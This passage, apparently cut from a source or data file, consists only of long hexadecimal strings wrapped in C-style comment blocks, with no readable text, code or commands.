47b3271eca66982721a2dfaaf3341fedbd4c2241913db1f1a4361d3d82f2a4c965775351e967947bc05c74e57b2dafd42a859b6f0d8c3f6e46c32fb4cc591ff1f70d011c06445358ef5343cbf2266fe32fe23686b19451013e676b29c56c7c646238eea331a7f9eb9d3effa66f06d44ec94d67633972db155bc63af8a05ae284cf483761a60da0d8204a8ea39b2e2217673ecf21b8eb8c48d4d5e5eebec571bd3421d750b1a6227cba54c03f7ba5f83cfc6c80335bcd7ccfa15cc9152cbfa44e8ca261ac70ca1d66bfa601230b797e2ad5fa821958c4ffd6194078a9018bb664319218ab8c1b99660ae4b503350b140c40d774139aac51133c37cb7bce81b0e5a68b4af0c5b571695ef89e162f0e7174afbe2e066a088305a49a70e8199b464228a8646573829163b81241f726c1fe6a8c7496b8db0d1419a3d83f0383e785393461ebb52780e86eba184f069a346d46181245fa176728953f29f2a9730a51c1a1a3366bc5643c2638f52273f3b7bbc7f9d31b8e7a67d13357eb0d3c0dcaab210483054e71ec1e011fa4dbdaeaec8e177d1eca3939c0e98c9097facdeb1bab12c3954f1776811d9adf727f18356b5bb75591841efd8e60e168ea9308f5647c045c2e6dcf88d8d25da590b7abdf02862c5b3d856651ee2188154f130403965e9d85d0498f727320fe88870c798511b4fb73ecc8124d849680df88da04832861f99a8bb0478ab3c4afb4e57a649875999f5f89703580aa91e9efd2ed3c94c482c0cb411f72b925623bc4e66838b1cfd0c0d1d18af*/
/*ac91537b422d99ad63ef94370ca1bbaf7cfc02817a337bbcfd8389f0ca72abf6eefd610a2da86271bc82269a7c1cb51b014e045c8cdf43fc13a376e770e85fcfe7b8dc84f587a1cface225aff43e7e2c73d3a493a0954afd77cb15a849211e06354bbf9dc57473121629c22dac5ec490d4e45166a07f349ba3c7a35d1f78b6bcd3a7bfb1303de90155e1163774b13bf422df44f86189b22dee03798a6b898d201e94b5415e74bace6796790dfc535c4b450e532510029e391b1d926740b434f9fb05c630a3f1505062070b3ebd2a17bb10797e42c0e56609d3654c03c019d23b3790b4ad7ce4dcff984f841b649f71115c76d635f7219cef4ed3b0457812a699881b74967a410c083e7b77bb8beb752274893de2f23e0ffa8487f8e797216f5ff3dc6904d24f97054783a3b3f17ae8228cb5c0bf2f5a116d4e168b505f3b48bcfdbdf714fc69a5551585e67c7a1cffbdc28a78d5a1fc5ab446a31e942523ed0fc5f4ff3f1649c7bc586022255e6b2fea4834b6bfccd06084005c8b0bea76e5ada9ba041df0bda0216e06350ef22f56ed1925ffa0e6fefbdfc5b50dcc4b0442428bf3794647ec84ab43056a84b19d08c2b17e726c27f6109e98c3d8d9801948a79e05c4d20426d89d72f2548aa7380ef3b2cb7466b6f54a0bc26d30b345752bd3e4d931566d6ef0c89e2fd1c4e62c35b7dda19dd00d3cc85a6718eab51e9ebdcc039b075ab12890aea10d5e492abdd6e52a500528246826fc8d53c4d39ea4300b0ee98170345deb97421a69d7632a7d5fd0d1d8a8c40739f7640e26d4c267f42bdd388e32238c66643dc3814f1f0f108a25ea6a23e6c551ba8ee3f64ba1cc9d7565a658d9be93ea1202e25f018dd7b1c20da62365b3fa69862aaa6a1db916cef21bedc9aafbc5b7afdf54ab2b20b43cd5bf196a871be71d4beccb7e2d9ec849c21db7d20b0d817a4af610b38e57e7839b9b57d53f5fa6b447f4c7a5b6c52335df2c8bbba2936c83ccf93c9d1823b3a6e8d70fa713b8daa58311bb34cfb743d52d1032daa37b414f9fe4d6cce35cb271062467edd55917107ed3f0c8d57fb9aac1a5eb2e2d767c221230e7a8f7a0bd074fadf2257efef70607cf27fa98ffb9d420b3d49ae0afe3773c8c518588970772cbc7ba599668a30ef63d3048eea4f9c514a56023938054e8fa0513c7a937c0b1891e19cc3e1d51f3c22897b6411d989a73709d74ca4a054de9fa57e7be3d96ce3b105c05789e3d5b42b3a44d4792b417903aac3106be3a81dc9a5d6cfd1edde254e6c9ab88ea018b048285b83cd1e888fc93fe3a9c407ca3587b00efb4ca7d62d4f1c9681d82b495d3b6d20b8ea3db853a008ad246677cd10ac4a0f7b84fb5f0e2a794659324d9668c84a2e6a6b0b48856ee1790fb01cf279fdee08788835413b712cbd2374e511047c26ad6d32d9ef06f6323df44da5efb4f49177a25ad2afa42d10d468f07e88e2c9b078c7bbf1247c5983a7c21703fe95e105ef70585d54d49d4c93a95af5d29d66f2fc7ce411d87dc89f39b151a9be0660f145611e407f888726d0a4bae6cc5bf7d4cc9be6998d9e8e80d762b457d494a11bd648996a3d31bcc9697a2bfd3351e953272c6e258b480c8c4f9af64b01fd6bbc0617e4292b4be5721dc498335bc7cfb0d0498f4147cdc4a52c8dd17732b0434420b099b1ab38179c41bb3d226b25ec90c1eb6f899db6238a5b5e92768109d0f045dba1077ecbcc4a3eda552ed23cedc60ddc94fd8241857628cab6a955e75bc8016972310e135f979508a20dbf1515114d6c23923a4a0e3e83dfb9fbae2582d1acb38a6ac9bac056c28f713b703bfb4c74388040c4af2c4795d0b0bbf6c72f0fc2b527967a1ac94ef0d00de0988c11158982f6cddb645ac9e77fbd8b380b821d221828defd32b062deb5d2fffc8e7af91b626e9efb731074e1c47174a26465eec26872cdfa7d61da893077fff6780b5ef45aebcd672bd6dad2053ce0bf519ebc51f19636f9409b1faf2230fc85ffd59fa41448816f607c68aca1ca7ebe0f146d305d31e0caa2094530620d4271dc2eb6b1d3d6407ce075141d09e16792f6f28243208d10f52b112a03b96804da71a2ce356b71c26c7b3f649594271d0d3aaa07dd5ace89bbe2dd654d7edf775f5407db31effe6f66ae41131b308985c6432c4940f148d5ddba5092c9d4037145102ac233d1fe8987a864654fc7d10393401c6a40d3a1e6cc49431542fed847dea9cd5fb9f0e6ce1496b50b05b1e5b9c2d034b5cf7011ba76cb41fc2814da8b870064395b44c640a1361bbbc9b30651969e35e56da96f5b98d9adc26a26beb5f09d2bb94f238eaf542128511968b4272ec84cc86cf97905e190f81c0482f159bfef5f419842fc0d584922fa1fd656ab28e9a437192725927ad435c89f905984d8f0480e5ebe7c5a9db4ff1a8b2c8841001b883b851460ea55df4cc44bc39ed2f2bcf09a863414078c19ff1bd028125ea3a4aafae7d35cb2639049aac57fc4c78002ebb5a97793745d274e521d1b911b4e45b8d38e55ac09f35e3cfd06de28cd8cbdcddde5a0816b74e3a8a0a5a4f192dbd1f51e60354d6716275cf1c44b78f7f410c890c1686ae8133fdfc20e56edd9b930cad1660d372d5f25dfcee4774dfcae88ec1002e824e4a8a4d2afe2d324ca9566430cf4d5fd6f04c1dd78fd5edb4be8e7c5ede944eba0eabc148fdf3b7317331ebaa79d32de4d5131925f765b7b3455d31e78a7f2c56af393466ad1018cf584e9d9bbd4b785756c45aeaed5acf103b7184d570948d0fb23a61165cec27a61e26310683f6d851f91b45*/
/*21c22affd11510f02cb41561664fb749a977845e4132f7c19a8ec035d7e0eecf49d4a7261d48fee8291c358edfc4f61465ad760d3e969faadb0748adc466f820d2decbfb561cbe29063a9dea1a1b7909c4b1df1c3f36ad393edc89cc0e762c2a5d23179e336a0f069f75209cc7697202dde2b507aac0d7df8a9f9768cf3112f67e1356ed6e0b6bd6ccf5a3bbad0e327aef16131058654c20befed8a975703a29f48a1918b5e82a9dd7a2ea92a2bf0204aa2bd4f0f8f4f699b8d695d572370217bb9cc4824a740b3d8b40326c60672bf6d8121edeb4f31d57884a5fac6efb45df748e97a3efcef679eb2cc94af7ba1f04ae17559ba3828e0a47955f951c1ac0cdc546de9786367f030efc2d637c70da886e8c996d1d576a77bb924114f09ed243a7fbc92c5c23fc3b8a548ad58fce22f7b70ac44ff8fc91eff2000d4a77df4ae80f5cd899ebe064652aa49875d743e36cb8bec251ca8ec4f282746f03e59f73bd6e2492d0299908d0149ad70416b0324c940da01ce49e80defda403a3a5901e0bcf844dd597f41abc320738180d45da343c1cf0d08691c7d88a097343dc228991dace447b95136776e65b9ac273d4c9357f66e196a62533f36c1d0e82726482d34e2fb918885970dd690d96e4f6fd5552728579f6e56ddd6cd7cccb7b0b686513ba1748969092dca688db9a58837dd6421c4d6c16f94f90a8eef48954201981e3ee9ddc206fb8fdccc46fe4589c7f74a6f3b5a6672082d316d7c8dcf96e05a2d11621828868916537e31bd7c9e3999a8db7192efb3fd4192416c93d4e63d1fdec0fe9dec4a5dececa2957c5e92bcf9d4f27e3547e5831dd01cb15d8471e365b49daa217514a8600768af1e8e5ff84447c5f20d1b6acecec2b7777daea7125766d239ca864ed7ea899c371defee79760fd509a7876e45988653be33dcb96d0ca55274ea1026a5fda3c2b88f00f0476fac34b5fe394495bdc88963825abea8ef3657f5a37d1cbb40275e4e188695235cedef0aa548a8f73a5a562abe746977e0337cd24842a49e5f560123007f96b4af46042c5bca3787874be530db63494096f9fd54882d1e6984ebed33fabec20e089cc40b1769db17db0b65bf382a1567c537cfcfae5a7d66663f44199f7890ca9853808c20e945c91caeb19e627959666948905d9ec3c384fb8583be7664717fd8fb9f7f33da7f19e1cfd6920e25388cfd109bf25c3350355f4534f19cd5706f7dfb9d12d36dba1b0016625191f1af626b06ceed20587918acb4d915aca17519b294620c54ab5e85bcc16b0af13bb51c1e18d80281f15ce381086b63f5adff4654435f853093801c8cd5cbcc0fc10d8d31790e21924cff772427f1af4bafdc349d66ae8e59e412e6a74de7dc83dfe5064e4fb954ee5c1b2c849283c1868773327c50fad38e499fbfc0a449d9129a71b664172c6d74d1d1912b519f29c2259cf6033cea731947327c228a150433795c09c2d397180aa34951bf0d28155e76858dd7c79966c30827c2200b82b0579ffa69ca07710d27814e0e018117f71f881e186f4715222e2e48ccc2fa7bfe42e796d2887ebf2e3f0dd942ad902c0b9d6ce28b36107b245833c7a6d112ca5d7d7507d174e9f9bacea17cf13dfa7b79ec13b58cacdc383d346718b876ff7d3a33e1726e0514262194533f912c1817c70602f5f6e8492df9baec72585a1815761973875a9886d2efba2ba6b1c96d0b7da85b43adfad417c49a00e3ede5d4bed2aa36184e404382bda34119a48021f21d36e5cceeadcbd8321fe7075786a4b20a92eea92bb6d1bbf105dfbecffa715f1b691414095effbafe5fa48902f725d8773f5b5a2342b8fdbecc9a1f917482402c077546ea602aae12254c2cd8e4edef701e16da7ccc82b9e4f0a8af5e8af0086592228228a8e9ef09c71e3ed7e79ea6a29fdcbb68d99c93136f8c22f1b986529dea2e27af956c81078fa50a6839bcdbc218caf2ef44b6cdf83d295b69e26bab45da4e6c4859c3338549b063d939e90b0220c4ebddaa5cc42c0d34bdebcbf31d06eedda950f13c196a9c7db6c9b2ac2abca33c6e371758da88f80b8ec696f328a9bb7a82203437bfab52f12632d3d3f7627245f8eca21ae4a457f9473f9984aa7acea2356f96597c45743afcf74fda3fece5e9535ee3e53cddf90f3ba2ead33751ac9bcea2d36e91a3bcc60385c2e681c4424aa0e2b1871ae1f15ff8bfc2cf4309939af4c81aa6601f401a976d5fbd86e75fc6855621439dde0b1f76228cb4be13483c9d901fa3612814ca01532e07264d8a92aa8f7cdabe2e2eb82e1fc55e13eb1fda2a3da562de280e2a03850520b6fd53fc7a6771e6d7de9b98fc8778d87fba594064c69e885d01cd68d47d5c31ef1f0322f395ee53a59c016a715e788bbf7879d09f76a6780923df5fc0d014de9fe0c6dd05fc5490a574e44be96300b3cd90787419a7289c8fa79f639e969268f304b906d468f578c4b5cce64e77454c0ef13bbe6d12bee9249a616bafc0b36f65951e00f52bd05a0e3ad6ab414d09c872474ac015ee6afa2cf009b81efdd79c2212496dc76c641667bba498c6d9ec18811038f9b67fc8050d810e9aafc23d65a5af4cdf0fcc691b05ecdafff2b01acfe5f3bfc495841650a9efb5a3b2e948d92b5e16931f80c974d1fb868af0c5913d708700db3708905ecac78b3214ff26281839aae4dba8873c571e146a60ecbe9ec6fc13d0aec867904225ba9262e450d38b5f7e0babb110fab57d8bf743e9e6d91cf46e565668a6470b2b40abf57a7a17b530b0cb67a08652e1adf46e7f517aa72f67b66dd9f5927e7*/
/*53aef948e2fda3c4c86cbca2c91806c3dab8a3277b575227181b204eced9652410272d1da98821465fb4f69bbafa9a72ca39562ea2bbe3669f9cb6c61cac7d491274af76b5a511b026bab004f2a3d10f52ef21f3b5242dc4200313ed3c6731121bbda04b73cb50fab6860902704a02b1566efae5caf843d02cea449053921ee0277d58f6b804cb5e602d1bfa337c5922b3f66a730d6c16b8f0b88b3b37580377e22165277dd542564dfe6b07c434093f2015668c5ba2515797ec7b0e7ef02071965567b1f6ad5458bf8ea29ce2cbd5eac42901f313831ac0de8853fc43e779f4d61151b2e2a4e1d857c34474254a07ffc003a7b7dd0d0f221f7b0e729f54ecb4504dc397f56bef368647cb6d8aaf4aed2b48f17caf2d5f559c28dc53bee5c36adc5e96a8f98976ac80e6a5508eca5c76c98f105e3becb2329ce1bc613f0e19bca0a71e5a6dc51c8f38dd58e3416e42ab1794bbdaacc1770cef4e1a828eeb532d654eba85efa7e13e1b3487619cf9b2620b2ad79843f2d4e61ad03332d9fd3fce9de7c47c8ec132a806f87f6a3940e5d24fda6f13aa9d56baecd9f340d118f716c37dd097030a83e3b61999f9730ece00c267f92e3248a3d148e73f17356b9175b310872f2de521d96f5e2505d16157e9a5e49157bf2ac0ba99227f2f3abda4c8d806828d0f268af25a3562bd6ef09fd62f9ca70fc5e6e11843e75025a670396a219ebbeba07d2ac9a6b4adff4231602dfb3920c3f06160a44bc878b4f4a2e0d489e0c53aafac2e4c2f15fdae54f53c80bdb8457099c6cf01982039ed4edb5bf33f1aa59935eae859ecd8b0b3ec9bb77f3e13594318852628cc0eebfed5cfcbf1c6051c8d9eb7d737e39323b7703c5d24983534032c2808b3bea592c98c2187a0240aa9f253906ed4d147365766267b903e597f714355aa0c6d86b06c6c8a629907303ff151f79568c9279c5423ca04412c8e66cfbe760a34f0140cc5efbee6bf5cf23bde869077bc48272e046d99c622861c42399c1aee473b2355d60030cdcc7a7f418a4285050cfb86d7cc8b97cc905391f09a4a1eacaaa80c7ae40f92bc1cc23fc1e1327d3973275b58488cf2919d6d9f200a4893f9a73bc3d0829c85091d7f06829b177aeb7a697cd860b1d416e48682b42b9edcd1c0f6c627ce2edf1799c16a3cd99768bf3a3fc3a32ee5959de30550de6ff433d6a9bfc7789a2db42d896c30f63f983ebaeda2496ea12b240b01c3d5bddfc8c4d24f9629f523cda5f3d7d37011f1e3b95dad74843216fe1892a3ccdb9f33a200714756c6d65116f032676aa7be233f45df7d7e07afd7ba89bb514c37f63672b3ae0fe68db77367ad13f98818c4a7ad664eeb570602bf298ee0c046bf484663b7531cd97696226260b3cbe0c8e92128d55dc22ea25e8d43223f3d03511a98e2c5a001536f3a35eac9be43ecf8f9a602a4959047c8d8cdf56101ac690230e7c259d576d8cbaf70b3b9a1d22880192bcf2f73d9a5ebb2605232cbe38f6ddb847b511bda2c4c2c017efc947df332ca24a8e0b28429390636d0f864bc93dfa2d669596a58dbb352661532838f188019f4f01283c2d9fc1e850bd87f9438101c1eb7735086ffec26f2d682340358edd9e8255fd8749963d8c2648241d641d8a4118d9102959509adf4db3230b04761784a9f0166520cb64b09f382db3fe23cb20d13a45d2c728ba51eed1fc342bab36867ac15878c6586ec5bc9e408f451033d7d75625a44359c909d3d45a5b808f0901ba3c73cda55e95d2af91348332becefde379155a078684b684d655d91a6757ca87549bd377627ddba032cf4a336f8044a75d2adfbecca17f4ababcce4916351f413ef260462df195c860f57aa40546e748db311049263d946761af5891702dcefbe0818fb2a087bda5d26f994a0ac8af41c955dcb3e87818c2fea62e050e8b617616ed81ac10d6de326f89735169e38ccfa991b70d0cced2fab2908c59ca3748740d37983fc9af9d72e2be14687121bdaaed22990cadbdf2e2ad937ceffab6ca264dc5fd61294cf72c27c40e5ca78c5d4e18baa802a0196e103bf32f5c602d87b84d0ab5f97b5625514323b5dd3503a3780f2595a6d40e5bfd3cacf630516b6f01e312e965f1bc21b9bf26ba2317e1f244cd9d55795a50126d942cad5d06b0607edb97c9447985fcddb67dae9d27ba35dd56f57ee4627d00a3f4aec4cb490c34e676288d0f496f7de97f29647c8f3b2e6b8b3eca6bbb992e8bf260a13e74ab931a0b3d55a1c3b7c48628ecc573b9cbbca829428f50f7d52fcf5b4ed872837b6bff41ac54369ac1a577dd8ae1f0a3d46bc9278887ca25f30984d976007c6a827bd4ef8561fd64e5f3ca9334af188b04a722834319ed028b9fe75f8d659eeacee06f7265520ebc50e51fb5a218eeb6ba4fc2065bf9eaea3ba381cdd99acabf899fa368a8e7fbace1487ab79017289487373d53d53fcc6f4acd0e17688ee49874b3454a696414424318048bb88837ac767736c053ee5c2344b40f1b0b58c5b6264324b3a0d34f799f6309c55735181b2f093e480f1b95bc7f36ebf15400bb3a12fa5368088c0b364a3c9f1eae0550e8cbd1d99aea53e775513770b8efb97638ee661f21eaebe5560b3bf4c15ec677ef0e39644b0a587906a3ae7204c65627bf0b8ba9281b1bbab72fc1b647c0240a2c1ee409072f0416a0ed65f85ac6a9eb4c59a35136f84b7102d203b30406fa401d8819cb0a28ec95a1fe4327e716113c9388f36b7ffb0aa1d7151b0541ec384921b0ce6114d3e3cd79cf15b3eff937f2b382ffb6ee6b317f74e6bf5bb440927*/
/*1c1ca10235cff4a63450576e62c360d571c67ee7947be3ae81698cc8ee951b7a281c02a61fb9fa92b9d9d36bdad58b2ac6b002b9935e356bc56f4c3267b54ed08ff93dfeef880b127e895b76c8ce46b3a2713c2b681f6ef1f3a7c59ebe68fc71526d77f45328289c6abae397c0e9822ae8d02b3e1fe7364b32ff39f17bab0d506792b814bde53e13bc6f397ac4ce8801d9eba664cb52cd9496fb493a375cb2feb21ab4af30b4cba741c2857228ff51d0d26cb1af095ccd9a7438a61fc2a86d96552e52f1421a81e6e17f16c09ab60212640fa90843fcb42ad42f947ab8d92ffd282ed19d331a84cd139e43053e42c2604476783d3688db24c5e7b18d96277bda26a564da7119a539deda7bef92d30073ae70d26786adc8d044b4016474447d7379b817b247b3d7b88442ef7d88689577c55d029345b6fa3f241a29c3bbadf3752bfcb668ef575712f4c4c725ee67235b2b34d6b4842950002725cd835eee9100a0e8daa88e4fa0fcacabf112af58328bdc4b35884d5dbd0ceffa1347ec3157dffd7aebda77271a5ce6bf02ea2046a91b767c27306e386505e7dd7393328cd235aaa18800a99a6cbd07a57e3cd974c96d8eb3fe86a8f94c2944b75e0b6c8b70035e471f11c380854ca47d45f2f65066efc359dd6d6c4273e1163a1dcc4e9b3e7d17822a6622ef6f78a4c790cfc644ca7c42712bfca5856ae721b6dceea0c420f663b568d8d91a888e049350cb0dc52469a521b93bc051fee7c88af763a5602ddc5530bc331cdaa17f0263bbbd21fd0487da369aeb82d0a722e356ae938147317de55bd2fc716cdee4e042ac81b2757c17202d3b382e700018f1a74993e113e88fe3171390df481cbd6a5428d9b98cc76a454f27a92c421f55a5f5b296cedb2007d5808bfbd1eabf5c1ca1d0a125155194bb197305ad91566e93786669edd9283f5a15ac4c485a7a5b434ae066f11c319f973a356ad96a9c8c45c8a98c37db194591cd5924f3967f42eedd8b3a62ea580502397df23dbaf9bc01876698d532fc48413f359e695e3e1b267a74575763c73372622d7c2ad2df82a25fcc7f8d6ea1dcac31788c192c8471e01078f556c59f2aa09309264a4843293c8b7e3de02d8479276f7e3ee5ecab044fa04f50d3aa48e77a25e4cb66fbcce3090d5863b3a9330f112799d0e033fc56f1f001f2235eff9ee171f1c8a56d30f84a1ced573497c671074c82a51fc0f3e7c7f023806451e5951ec7797c54c58fc4a15b4b2d54352ff1a98e72167b913d47440f83f731824533810f00292bab61c87ef8846b9c26772cc0f0437b8efd638c21eb35140c642d77c153b10b825ff5d7806e75f392e8ea4b35916ade1534daf832f0c7ff0ca3b3653bfbd83d7c12dc8351d6998e0257f97e6e8d5d3f3eb57b8ef4dc84fcdb3b66122d3004544fc3d0b3d0f57a17981c16bd681c0559f6906b59fcfca8440aa4644a8ad89d49046055b65eb8bb8162a5da8cab3c28bd4cfc37b5f11ac8f08cffb65862bd1254645d4cde7cf835b954a2960cf271c6fa73628ffc01ae9b98ff3c46c591e26697fa8da37f3b0b274ba73dd5076e92b6f096e4fd2b4ed090819b4d0338208a9e43e6dcf3f871e2634b9a6aeca90a958890c4bce3bcd777067c6128f85142a8f1a1728f9b6f5cd1839727084acc066998a0f26ce4db4873a50d50eb671641dab70cc526a5e42da0443dd18565b19a0dfa80b7a886bdad488cfe1c88f0e60315dd7a71860e41c9bc60a6e15034c8949689a6fbc88711ace522e948a92d6cd3c3c85cb16a520802af06677011e9bdcad559dfafab9d6cf8e1ea8abf52b01ecd4a2edf2b33035b6b335425b94ba9cbf7f67b416f4b269d47b6c9c5581f5bbfaa8761c8a8b6403339c027a82c93f01cc921b1aa3e0933016e6a8e9da43cd9f4af3ec557872bd72beb60cddf5199734c01c29d39e8f02471bf8cf2457192e0d35ba2b7f5a25c6861f8cc58366b53b19a0f4f10ea2fac0004d84231bd530be996b230ed5e24d0c5737bfe039aa2fe2939c51ab307a83ad7815e886a2c5c56f10261dfac1bfebb885f394f6f24a28a8b12f83ca9c88065a53d282d04680bf84f702dde87b7d3e389d47444c7566fa785d65f37028fb7f700f9f27e8d83e6903f51d99a154475aff0d68d861e1f05e3b3bc9c255f8dea4cdbbfd506e1a19ca0f296abdb6afb26c2079a22e41c01b9b907a627d35f8624c0adbe9b3d7d95a2fefac12995de2c1c90d410b5d04b663cf64150b76d675ab4919da40f5a1134ab4abe61179de0ee2848b96bcba65a7fb550fe74e662f83b6460eb8210240b4b0fff08a0efb4f7f18078a40f452bae527ace9d2c1f6f031fd1343770d196bbc97d731e12f9e2e4613ac29d794897c89a5783a386075c0e56d4e350d4890cd0515884398fcc17a51e6df9876c3ead5326d132b2f25d5daf7ed8e49ff3b6c4377f5c0cf2fef15b3b0c07173a78ec18e0ae425c6bad5798fc1cd2c022e3e50d1424ffd8c9f03066d76421becbcbd1ba9a850fa3ab34abd02bfe36b1f301f765f6307805a53086bb0543df1bc069e205f86263e092a95a2d015158eb879591434a300d0a207095099836cd02358375c5a932ab279e566e8495abb884c662be93e847055a60ffaba96103511269be17e9f7ec0378e9f3b1ec9d6c52883f0ee7b6895d08f7067feb4fc75dec8419f170d0d522ffcdb27066f40e6df7794299e405a24490d59b1e9291dd3438d01bace009b605a17e3d07ad295e8f1a260b573e17211e5af3f4647846678fbaac33209bb98dad67fba26eb8c12e41cdc5fae60b99298726e4c619*/
/*ec3a20461e22e82f244c35389db57e31d833e71c290437b48c1359c5504ba07947eb96a414d3aa06718301b22c4308e84cf635e342a87208a91f852b97bd2e7eea194a67541d0b59984adfdd204af615c0ffc274a86844f40626b92a1d76e8621d1667166d0e5cc41faaa7636ca3c386fa1009ef4cbc693514baa12f61f9606da6bc1ca45a30a355b9e695e287cf772efe4e009f493b507ca41eaf79fd737275464625d64c344359c51347cd9ea267cabfd5f21cb2496b2330c1c4f5865c530fa6623a45822640fcc04649de3c685710bfb63fc4ea52980fb28d4ca5bd0a333308efa1808eb9945a039f4424d5d5dd03d332beaf3bc51dc5390d330acea362c8d317b2bdd2b84feb0354bb6a0836daf679c052910340e2448dc30b14379f677556ac4342e74f88efd8b7a92c1a372c1de776ff104812e0ea036c437d2dab5768400685b76494bb9d0be014984c8cc7457c90d1e4405f07845a8225a30fa20cb66bfe2e9c8bc2966e63a4e94844e6beaecaf57f8b8c533fdbd2152b4f07629fa9fe1db1a169c6205e403a25b497872128b5e4c5a9a78dbeb26fd764fe4b6b312c8992cd80d16318cc9d743cfc7f525f3aa6afbb854cda24086c34efecaa0bbb6c42a250c5381b1d474e04ccefd7fec5b3fd2d508a866e24f0f8217490b3a85df480d8abce2b6be1a9603022121d2cad2b2ac313d95ef899687f66fc2a15e1b788175c0af6c5f5e8e9e5b3fd9f6bf51dd4130f7770e74c49222f4a8473b2f40b6ae0901198467322d9694a682b090548c8ca0658b86c9e98ece979f617e913d9d17efacf694673857d04fd2c5c313898df22ff9c3b2a0ba02dc4edab09655c514d198f1c57bdf845de7a73dfa8fb6aa31852ef063fb2491b29973de52bc2326f6f9285a0b33b9e4377b1966e2096d747085ca095147474c268bdf3beb7e035c35584534a5e3a6da04feaf9da58fefa07bb47222ffc8ba43390faf7a2c53b1a203afb8a92055231294747ed4a0903be010f4560fffe066fb3f333e5b1ce73e4a5a9dfc90767127dda333d11bbd71b79c625a7c6ad7eacdd3fe17742e6265fce44dd1470233b6f506fc7528d4e4f8fd83f05b05ae2d54aeb67b80fb2dff620c3e9aab96100305a9c0f8a7c2e6f51ef9cfdd5d300c69a6ee3848c772ec3685eeee88d6c81eaf78daff2e5800a34783053845bb9e47ef88c941e306b0127c5854d40efe88f59b6e2801fba10c0edc3977920f8a60cd150480e41838a7f4b64fd166bf7608055bfa84b19ff96c6a70b8068d954550ba66e492b50306cd98f38fd9a0dc6e63a5d945c3bb8efaa10386f8071b2b673b3e9a4fc501396110fda6a0272719902fefeb4b713e0c3bfd3adfb98fa0973e3e512d0cc6d8bab79dd564c1435341683568f0c77c40f8b26a6d5c3aa77ecb0e9ccaccf92eca5aa32c09ae283e7dd27ee5068eb43a7372d12f5ac040c6d4df8a1dba93345eca812547caeed1eb620837080f5109592a6f9b43cda6c8b2f5464248b434cf1b6bfd5e2ab83a2ba01c656ed64fca25e8d03852ed787be227e746b32cb4f969ea469463eeaa5d3df59972c0f2e9ffa16bb35757e8b2f8fabe973f2287de1087b3709a7a25106e53eaeb3206a562547400630c55031256292256bd2a62efd7324f08b3441958ecc64d68fda7957ee510ab7fbf1c82290c7b97c2118f602d0a4ac8422bbae7c2e84ab36215493d84723d5533e22ea9c33e54704f35c2f3a2702e7aed740e3f9c6fec18a861338f91fecd798bc237c58ce6632cda62b10e731372f36e19a78c9d287656e7be6c13471bac12991f7101e02c693209eb2c12922d4f159a8baaea29344ed844e4de68ad3e28b3712a22c6fcacfc59a475eefdceb5c8f06e3383db22f70aad431dd2e9e74397bace42e7479bdc45e935217d579af060eda54fe20d3dc7f6656ca7eba61ad70ad9c78d32ff57b57014b41eb8ce66aa3454b4b3cf17de490714a1b2edbc957eab2519bf26dba37f0a2c6504b9f200caea315aaf31ed0aafac4a3c8787be66efbc0950a088e385c3ce1e62b3b0cf417a932e10f60e7e30d9587564f42c24a50ba75a25977c4fe026d9c17d40c60d16b576af962cb9c404d00bbecba0bd02aaf94fe3bfaebd5a32cf8338b9af861dbc0ef64fc848e3d9d3f543ac7e061da2c233759bd3780bc8b6caa54d1ee285cf802b07b0fb1337fc5888f09e02576202f0a5a05ef6b6ed98c27a1266fb17f559b214b2d1a961ae2077a69e5048052f28a681fe5f7418fe76b731e909d47668381d89f2184208c5cbb0d46daf09290beb3630a20fefee7152cf2ea3549c6043b947a6d19bfb71a2324a6b16e9b5481113a8e3ddb0bdac79b733625871216deb0969477019b620c2e3bdac343d344f94d3c8c37fa4ac62dedd28fb4e9c4eb7ea9b4bff29bf5eb6bbea6f0fd9ddff53c50b29a98cb993e4a14b123aff910d3ca27cb29449f7ed28afcb6fc89d035fd785b3096607252bde4688a5d9bd6427c96628c9e5532ae5ac7ae32ceb5e5ba8ae61cc5c4845ca50a20a9efc1a9ec97befe189fa566fa7ab31203e2a39a43735b0f201d90f75bbb6bfd32a2e5ea4c20c548cf25d63395fcb0a25bab4e5506b9b3280d59fbdca9a7130e3cfab1f88598fb99d31f67803f690ca39f3eff92e253e2d5099a7b6e7cb7598a8172279813a99bbb5aefeabd7928830ec2697534b338a883a7e2cff6d6c0789a4ef20dff8d7e3fac3db08c80ca41f52a276bb005a5f3306a89d77fc5e83919a19d6d1c734973655e8441b625fe66be2807bb95cd64d1ce6a15e0734cc1dc3a38884474efbfdd0788*/
/*da90dcc48b8129510761760f59c721a5d69cc259b14182a5412ebcb6295e957329fd5c0263d5334a1a35546dce11c4f1e0c985c881fab791ef56956f3347d11486984e894a59de87a559af8493eabf63f2fe3acfb11ffd50b0c7698dde5093543a5126b797cf645ece67d8842be8ee2b365180896560a526dce9341be3221a953cea064d0e5799fc2e2b1dd85cde8d18b3c2b282cf793e74c0988934c8edefa4577c69d74d46f4d559e41220d61ec4a9277031f46c71c66a80ed0eef0186120447546994e74c0bae40da6208a66f75551fad08c7a5eb760b0509b15b91d05939767c1fcfe29c4b49a5691c2006d151d9400879ef874b6139fb2ae872b6fc128233566d3d469e818bec0071f3520b9da1748b01255629631c117f149163915e8309130023d0c10a4da446218852680dd6a0977177ee57d8c34882bf32f0aa000ff7e4b4e8809171e8265e0d819e5bd71041e756b89cb2b81f5e0a1319c83eebf5d7b71b43749b02c997086ab88d68b2b1a2fda34422154a2700399da90d61986ef5a87476ef157ddbedcc78f1bebb20b8c942e33782f30a568b94d06d714c0b8b929839c900cb90b650deb76db1bd9d372d3aec3f343bce6397f07c630f19b2ec334d88262ad0484fb962f1acd7038ff94c2135a0ece916b6a1eb9e649779a9ebd5fe65874d68251287f11b9f6c735a107b4493c2a793fd01447bfd44c779246a11851976376e303386161255d1d9ade138df02d28b8bfa5619cbf3e6dd191d29519f99be4babe99a4598b4634d982c9344ffefc9bd769f8b66753befb19ad8b43979164344aa1a77b8e89b078bafdecdaaa3308f65bbb3bfed8a20816dfc9eef934f201035792f7dfc8eb15f358821d4d78f005cb94a3c475cef58564a86a62375ab471f16443662ce249df720947ab323644b4bbfdbb7d5b55c5dcd2c5a037f952988fa530a6632e1361d7458d7c5d777a06d81c6e6befbfdc31fe9e3ebc73a22869cadb1daba0d48d150059f6a595cfd095884830898b67d4f0c10d3b5c02cc7aae325f9e8c6b3e225c23f2e61bd33acaf2722438d10f52cc9e61ac3bf948da1fe03181e075a5c8a1678aeb4e741f9dc9c3398581896a96f25078c46e35acdeed1332b17ee530770c809099c50901f1c4632b42e78e96556568150c27901402864d3b5645b71920dab328342a2d0ed88fdb71ac01d9a6058420695fe8dcf75f7bce176501efa596111a513876bb0a36f69be9a97119a8331ae9a616dd2c63943f58f77995ad826c003d9e9e59e3294b8d205f8c4